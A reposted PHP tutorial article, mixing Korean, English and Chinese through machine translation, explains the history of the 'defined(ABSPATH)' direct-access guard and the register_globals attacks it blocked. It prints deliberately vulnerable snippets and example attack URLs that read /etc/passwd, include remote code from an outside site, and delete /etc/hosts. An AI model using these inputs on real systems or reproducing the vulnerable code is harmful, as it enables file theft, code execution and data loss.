>  기사  >  백엔드 개발  >  프레임워크와 CMS의 이상한 PHP 코드

프레임워크와 CMS의 이상한 PHP 코드

Patricia Arquette
Patricia Arquette원래의
2024-11-14 20:45:02761검색

That Strange PHP Code in Frameworks and CMSs

참고: 이 게시물을 진행하려면 PHP 프로그래밍에 대한 기본 지식이 있다고 가정합니다.

이 기사에서는 즐겨 사용하는 CMS 또는 프레임워크 상단에서 본 적이 있는 PHP 코드 조각에 대해 설명합니다. 비록 이유에 대한 명확한 설명은 없지만 보안상의 이유로 개발하는 모든 PHP 파일의 시작 부분에 항상 이를 포함해야 한다는 내용을 읽었을 것입니다. 저는 다음 코드를 언급하고 있습니다:

<?php

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

이러한 유형의 코드는 WordPress 파일에서 매우 일반적이지만 거의 모든 프레임워크와 CMS에 나타납니다. 예를 들어 Joomla CMS의 경우 유일한 변경 사항은 ABSPATH 대신 JEXEC를 사용한다는 것입니다. 그 외에는 논리는 동일하게 유지됩니다. 이 CMS는 유사한 코드를 사용했지만 상수가 _VALID_MOS인 Mambo라는 이전 시스템에서 발전했습니다. 더 거슬러 올라가면 이런 종류의 코드를 사용한 최초의 CMS는 PHP-Nuke였습니다(일부에서는 최초의 PHP 기반 CMS로 간주함).

PHP-Nuke(및 오늘날 대부분의 CMS 및 프레임워크)의 실행 흐름은 사용자 또는 방문자가 웹사이트에서 수행한 작업에 응답하기 위해 여러 파일을 순차적으로 로드하는 것으로 구성되었습니다. 예를 들어, 이 CMS가 설치된 example.net에서 호스팅되는 그 시대의 웹사이트를 상상해 보세요. 홈페이지가 로드될 때마다 시스템은 일련의 파일을 순서대로 실행했습니다(이것은 단지 예일 뿐이며 실제 순서는 아닙니다): index.php => load_modules.php => module.php. 이 체인에서는 index.php가 먼저 로드되었고, 그 다음 load_modules.php가 로드되었고, 차례로 module.php가 로드되었습니다.

이 실행 체인이 항상 첫 번째 파일(index.php)에서 시작되는 것은 아닙니다. 실제로 누구나 해당 URL(예: http://example.net/load_modules.php 또는 http://example.net/modules.php)을 통해 다른 PHP 파일 중 하나에 직접 액세스하여 흐름의 일부를 우회할 수 있습니다. , 앞으로 살펴보겠지만 이는 많은 경우에 위험할 수 있습니다.

이 문제는 어떻게 해결되었나요? 각 파일 시작 부분에 다음과 유사한 코드를 추가하는 보안 조치가 도입되었습니다.

<?php

if (!eregi("modules.php", $HTTP_SERVER_VARS['PHP_SELF'])) {
    die ("You can't access this file directly...");
}

기본적으로 module.php라는 파일 상단에 있는 이 코드는 URL을 통해 module.php에 직접 액세스하고 있는지 확인합니다. 그렇다면 실행이 중지되고 "이 파일에 직접 액세스할 수 없습니다..."라는 메시지가 표시됩니다. $HTTP_SERVER_VARS['PHP_SELF']에 module.php가 포함되어 있지 않으면 정상적인 실행 흐름이 활성화되어 다음을 허용한다는 의미입니다. 계속하려면 스크립트를 실행하세요.

그러나 이 코드에는 몇 가지 제한 사항이 있었습니다. 첫째, 삽입된 파일마다 코드가 달라서 복잡해졌습니다. 또한 특정 상황에서는 PHP가 $HTTP_SERVER_VARS['PHP_SELF']에 값을 할당하지 않아 효율성이 제한되었습니다.

So, what did the developers do? They replaced all those code snippets with a simpler and more efficient version:

<?php

if (!defined('MODULE_FILE')) {
    die ("You can't access this file directly...");
}

In this new code, which had become quite popular in the PHP community, the existence of a constant was checked. This constant was defined and assigned a value in the first file of the execution flow (index.php, home.php, or a similar file). Therefore, if this constant didn’t exist in any other file in the sequence, it meant that someone had bypassed index.php and was attempting to access another file directly.

Dangers of Directly Running a PHP File

At this point, you may be thinking that breaking the execution chain must be extremely serious. However, the truth is that, usually, it doesn’t pose a major threat.

The risk might arise when a PHP error exposes the path to our files. This shouldn’t concern us if the server is configured to suppress errors; even if errors weren’t hidden, the exposed information would be minimal, providing only a few clues to a potential attacker.

It could also happen that someone accesses files containing HTML fragments (views), revealing part of their content. In most cases, this should not be a cause for concern either.

Finally, a developer, either by mistake or lack of experience, might place risky code without external dependencies in the middle of an execution flow. This is very uncommon since framework or CMS code generally depends on other classes, functions, or external variables for its execution. So, if an attempt is made to execute a script directly through the URL, errors will arise as these dependencies won’t be found, and the execution won’t proceed.

So, why add the constant code if there is little reason for concern? The answer is this: "This method also prevents accidental variable injection through a register globals attack, preventing the PHP file from assuming it's within the application when it’s actually not."

Register Globals

Since the early days of PHP, all variables sent via URLs (GET) or forms (POST) were automatically converted into global variables. For example, if the file download.php?filepath=/etc/passwd was accessed, in the download.php file (and in those depending on it in the execution flow), you could use echo $filepath; and it would output /etc/passwd.

Inside download.php, there was no way to know if the variable $filepath was created by a prior file in the execution chain or if it was tampered with via the URL or POST. This created significant security vulnerabilities. Let’s look at an example, assuming the download.php file contains the following code:

<?php

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    flush(); // Flush system output buffer
    readfile($filepath);
    exit;
}

The developer likely intended to use a Front Controller pattern for their code, meaning all web requests would go through a single entry file (index.php, home.php, etc.). This file would handle session initialization, load common variables, and finally redirect the request to a specific script (in this case, download.php) to perform the file download.

However, an attacker could bypass the intended execution sequence simply by calling download.php?filepath=/etc/passwd, as mentioned before. PHP would automatically create the global variable $filepath with the value /etc/passwd, allowing the attacker to download that file from the system. Serious problem.

This is only the tip of the iceberg since even more dangerous attacks could be executed with minimal effort. For example, in code like the following, which the programmer might have left as an unfinished script:

<?php

require_once($base_path."/My.class.php");

An attacker could execute any code by using a Remote File Inclusion (RFI) attack. If the attacker created a file My.class.php on their own site https://mysite.net containing any code they wanted to execute, they could call the vulnerable script by passing in their domain: useless_code.php?base_path=https://mysite.net, and the attack would be complete.

Another example: in a script named remove_file.inc.php with the following code:

<?php

if(file_exists($filename)) {
    if( unlink($filename) ) {
        echo "File deleted";
    }
}

an attacker could call this file directly with a URL like remove_file.inc.php?filename=/etc/hosts, attempting to delete the /etc/hosts file from the system (if the system allows it, or other files they have permission to delete).

In a CMS like WordPress, which also uses global variables internally, these types of attacks were devastating. However, thanks to the constant technique, these and other PHP scripts were protected. Let’s look at the last example:

<?php

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

if(file_exists($filename)) {
    if( unlink($filename) ) {
        echo "File deleted";
    }
}

Now, if someone attempted to access remove_file.inc.php?filename=/etc/hosts, the constant would block the access. It is essential that this is a constant because, logically, if it were a variable, an attacker could inject it.

By now, you may wonder why PHP kept this functionality if it was so dangerous. Also, if you know other scripting languages (JSP, Ruby, etc.), you’ll see they have nothing similar (which is why they also don’t use the constant technique). Recall that PHP was initially created as a C-based templating system, and this behavior made development easier. The good news is that, seeing the issues it caused, PHP maintainers introduced a php.ini directive called register_globals (enabled by default) to allow this functionality to be disabled.

But as problems persisted, they disabled it by default. Even so, many hosts kept enabling it out of fear that their clients’ projects would stop working, as much of the code at the time did not use the recommended HTTP_*_VARS variables to access GET/POST/... values but rather used global variables.

마침내 상황이 호전되지 않는다는 것을 확인하고 이러한 모든 문제를 피하기 위해 PHP 5.4에서 이 기능을 제거하는 과감한 결정을 내렸습니다. 따라서 오늘날 우리가 본 것과 같은 스크립트(상수를 사용하지 않음)는 보통 특정 경우에 무해한 경고/알림을 제외하고는 더 이상 위험하지 않습니다.

현재 사용

오늘날에도 꾸준한 기술이 일반적입니다. 그러나 불행한 현실이자 이 기사를 쓴 이유는 이 기능을 사용하는 진정한 이유를 이해하는 개발자가 거의 없다는 것입니다.

과거의 다른 모범 사례(예: 참조 문제를 피하기 위해 매개 변수를 함수 내부의 로컬 변수에 복사하거나 개인 변수에 밑줄을 사용하여 구분)와 마찬가지로 많은 사람들이 누군가가 한 번 그것이라고 말했기 때문에 계속해서 적용합니다. 오늘날에도 여전히 가치를 더하는지 여부는 의심하지 않고 좋은 관행입니다. 사실 대부분의 경우에는 이 기술이 더 이상 필요하지 않습니다.

이 관행이 관련성을 잃은 몇 가지 이유는 다음과 같습니다.

  • *register 전역 변수 제거: PHP 5.4부터 PHP에서 GET 및 POST 변수를 전역 변수로 자동 등록하는 기능이 제거되었습니다. *전역 등록 없이 개별 스크립트를 직접 실행하는 것은 해롭지 않으며 이 기술의 주요 이유를 제거합니다.

  • 더 나은 코드 디자인: PHP 5.4 이전 버전에서도 최신 코드는 일반적으로 클래스와 함수에서 더 잘 구조화되어 외부 변수를 통한 액세스 또는 조작이 더 어려워집니다. 전통적으로 전역 변수를 사용했던 WordPress도 이러한 위험을 최소화합니다.

  • *전면 컨트롤러 사용: 요즘 대부분의 웹 애플리케이션은 잘 설계된 *전면 컨트롤러를 사용하여 클래스 및 함수 코드가 실행되는 경우에만 실행되도록 합니다. 체인은 주 진입점에서 시작됩니다. 따라서 누군가가 분리된 파일을 로드하려고 시도하는 경우 흐름이 올바른 진입점에서 시작되지 않으면 논리가 트리거되지 않습니다.

  • 클래스 자동 로딩: 현대 개발에서 클래스 자동 로딩이 널리 사용되면서 include 또는 require 사용이 크게 줄었습니다. 이를 통해 숙련된 개발자들 사이에서 이러한 방법(예: 원격 파일 포함 또는 로컬 파일 포함)과 관련된 위험을 줄일 수 있습니다.

  • 공개 코드와 비공개 코드의 분리: 많은 최신 CMS 및 프레임워크에서 공개 코드(예: 자산)는 비공개 코드(논리)와 분리됩니다. 이 조치는 서버에서 PHP가 실패하는 경우 PHP 코드(상수 기술 사용 여부에 관계없이)가 노출되지 않도록 보장하므로 특히 중요합니다. 이러한 분리는 전역 등록을 완화하기 위해 특별히 구현되지는 않았지만 다른 보안 문제

    를 방지하는 데 도움이 됩니다.
  • 友好 URL 的广泛使用:如今,将服务器配置为使用友好 URL 是常见做法,以确保应用程序逻辑的单一入口点。这使得任何人几乎不可能单独加载 PHP 文件。

  • 生产中的错误抑制:大多数现代 CMS 和框架默认禁用错误输出,因此攻击者无法找到有关应用程序内部工作原理的线索,这可能会促进其他类型的攻击。

尽管在大多数情况下不再需要此技术,但这并不意味着它永远没有用处。作为一名专业开发人员,必须分析每种情况并确定持续的技术是否与您工作的特定环境相关。这种批判性思维应该始终被应用,即使是所谓的最佳实践。

没有把握?这里有一些提示

如果您仍然不确定何时应用持续技术,这些建议可能会指导您:

  • 如果您认为您的代码可能在早于 5.4 的 PHP 版本上运行,请始终使用它
  • 如果文件仅包含类定义,请不要使用它
  • 如果文件仅包含函数,请不要使用它
  • 如果文件仅包含 HTML/CSS,请勿使用它,除非 HTML 泄露敏感信息。
  • 如果文件仅包含常量,请不要使用它

对于其他一切,如果您有疑问,请应用它。在大多数情况下,它不会有害,并且可以在意外情况下保护您,尤其是在您刚开始时。随着时间和经验的积累,您将能够评估何时更有效地应用此技术和其他技术。

That Strange PHP Code in Frameworks and CMSs

继续学习...

  • register_globals - MediaWiki
  • PHP:使用寄存器全局变量 - 手册
  • 远程文件包含漏洞 [LWN.net]
  • Bugtraq:Mambo Site Server 版本 3.0.X 中存在严重安全漏洞

위 내용은 프레임워크와 CMS의 이상한 PHP 코드의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.